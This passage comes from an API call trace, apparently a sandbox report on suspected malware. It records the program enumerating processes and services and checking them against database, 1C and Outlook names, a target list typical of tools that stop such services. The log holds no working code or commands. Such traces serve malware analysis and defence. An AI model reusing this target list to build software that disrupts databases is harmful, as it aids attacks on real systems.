(lpString="Themes") returned 6 [0237.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0237.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0237.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0237.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0237.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0237.002] lstrlenW (lpString="UxSms") returned 5 [0237.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0237.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0237.003] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0237.003] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0237.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0237.003] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x424b818 | out: hHeap=0x530000) returned 1 [0237.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0237.004] Process32FirstW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.004] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.005] lstrlenW (lpString="System") returned 6 [0237.005] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0237.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0237.005] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0237.005] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0237.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0237.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0237.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0237.005] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.005] lstrlenW (lpString="smss.exe") returned 8 [0237.005] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0237.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0237.005] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0237.005] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0237.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0237.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0237.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0237.005] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.005] lstrlenW (lpString="csrss.exe") returned 9 [0237.006] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0237.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0237.006] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0237.006] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0237.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0237.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0237.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0237.006] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.006] lstrlenW (lpString="wininit.exe") returned 11 [0237.006] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0237.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0237.006] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0237.006] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0237.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0237.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0237.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0237.006] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.006] lstrlenW (lpString="csrss.exe") returned 9 [0237.006] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0237.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0237.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0237.007] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0237.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0237.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0237.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0237.007] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.007] lstrlenW (lpString="winlogon.exe") returned 12 [0237.007] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0237.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0237.007] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0237.007] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0237.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0237.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0237.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0237.007] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.007] lstrlenW (lpString="services.exe") returned 12 [0237.007] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0237.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0237.008] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0237.008] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0237.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0237.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0237.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0237.008] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.008] lstrlenW (lpString="lsass.exe") returned 9 [0237.008] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0237.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0237.008] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0237.008] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0237.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0237.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0237.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0237.008] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0237.008] lstrlenW (lpString="lsm.exe") returned 7 [0237.008] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0237.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0237.009] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0237.009] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0237.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0237.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0237.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0237.009] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.009] lstrlenW (lpString="svchost.exe") returned 11 [0237.009] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0237.009] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.009] lstrlenW (lpString="svchost.exe") returned 11 [0237.009] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.009] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0237.010] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.010] lstrlenW (lpString="svchost.exe") returned 11 [0237.010] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0237.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0237.010] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0237.010] lstrlenW (lpString="LogonUI.exe") returned 11 [0237.010] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0237.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0237.010] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0237.010] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0237.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0237.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0237.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0237.011] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.011] lstrlenW (lpString="svchost.exe") returned 11 [0237.011] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0237.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0237.011] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0237.011] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.011] lstrlenW (lpString="svchost.exe") returned 11 [0237.011] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.012] lstrlenW (lpString="audiodg.exe") returned 11 [0237.012] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.012] lstrlenW (lpString="svchost.exe") returned 11 [0237.012] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.012] lstrlenW (lpString="svchost.exe") returned 11 [0237.012] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0237.012] lstrlenW (lpString="userinit.exe") returned 12 [0237.013] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.013] lstrlenW (lpString="dwm.exe") returned 7 [0237.013] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.013] lstrlenW (lpString="explorer.exe") returned 12 [0237.013] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.014] lstrlenW (lpString="spoolsv.exe") returned 11 [0237.014] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0237.014] lstrlenW (lpString="taskhost.exe") returned 12 [0237.014] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.014] lstrlenW (lpString="svchost.exe") returned 11 [0237.014] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0237.014] lstrlenW (lpString="uyuquk.exe") returned 10 [0237.014] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0237.015] lstrlenW (lpString="reader_sl.exe") returned 13 [0237.015] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.015] lstrlenW (lpString="cmd.exe") returned 7 [0237.015] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.015] lstrlenW (lpString="conhost.exe") returned 11 [0237.015] Process32NextW (in: hSnapshot=0x30c, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0237.016] CloseHandle (hObject=0x30c) returned 1 [0237.016] Sleep (dwMilliseconds=0x1f4) [0237.567] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeaf8 [0237.568] EnumServicesStatusExW (in: hSCManager=0x42aeaf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0237.569] GetLastError () returned 0xea [0237.569] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x586890 [0237.569] EnumServicesStatusExW (in: hSCManager=0x42aeaf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x586890, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x586890, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0237.569] CloseServiceHandle (hSCObject=0x42aeaf8) returned 1 [0237.569] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0237.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0237.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0237.569] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0237.569] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0237.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0237.569] lstrlenW (lpString="AudioSrv") returned 8 [0237.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0237.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0237.569] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0237.569] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0237.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0237.570] lstrlenW (lpString="BFE") returned 3 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0237.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0237.570] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0237.570] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0237.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0237.570] lstrlenW (lpString="CryptSvc") returned 8 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0237.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0237.570] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0237.570] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0237.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0237.570] lstrlenW (lpString="CscService") returned 10 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0237.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0237.570] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0237.570] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0237.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0237.570] lstrlenW (lpString="DcomLaunch") returned 10 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0237.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0237.570] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0237.570] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0237.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0237.570] lstrlenW (lpString="Dhcp") returned 4 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0237.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0237.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0237.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0237.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0237.570] lstrlenW (lpString="Dnscache") returned 8 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0237.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0237.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0237.570] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0237.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0237.570] lstrlenW (lpString="DPS") returned 3 [0237.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0237.571] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0237.571] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0237.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0237.571] lstrlenW (lpString="eventlog") returned 8 [0237.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0237.571] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0237.571] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0237.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0237.571] lstrlenW (lpString="EventSystem") returned 11 [0237.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0237.571] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0237.571] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0237.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0237.571] lstrlenW (lpString="gpsvc") returned 5 [0237.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0237.571] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0237.571] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0237.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0237.571] lstrlenW (lpString="LanmanWorkstation") returned 17 [0237.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0237.571] lstrcmpiW (lpString1="sqlwriter", 